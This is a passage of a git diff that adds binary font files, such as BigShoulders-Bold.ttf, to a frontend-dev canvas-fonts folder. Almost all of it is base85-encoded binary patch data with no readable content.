z`%1rn^Zv`o6}tncEn`pKQ9W&?Yo=<~d_%Y$ZV7(Psm5#e*RFXQJ!Kx2u6elrnh(mN zbj=Pr*S|AxgLK6WxPp%*&we2D;_qJ@c!9>kJi?4%s!41#s2O@#<=WE-460uH4dGXy zbK|wA>#jW~+g-c%Y2i8H?3!!OR<1n(Y4PK-JYBn=#_%0s0<&#=?(K9fC`_lD19F1{ zl75n6P2h9nW^?cjPx}M^!jl7KT8;*_P-U`;xkLg6jbs818H0Xj+!c@6)U+gAq*%po zY#<T<DGjkIJ<(A@8k8h#n9%H42QxP8%PL>?nQB7-ba1|9b437Ijp;R5A%^VM8k$YW t&ExH!r857-YhkSa01&`&sr^=M>L-T@y1LIBq>gnx{3<)Vu5X_p{9giAHmU#s literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/BigShoulders-Bold.ttf b/skills/frontend-dev/canvas-fonts/BigShoulders-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..fc5f8fddee4c9e5810b1ab0e518a69acee3d2c50 GIT binary patch literal 94528 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 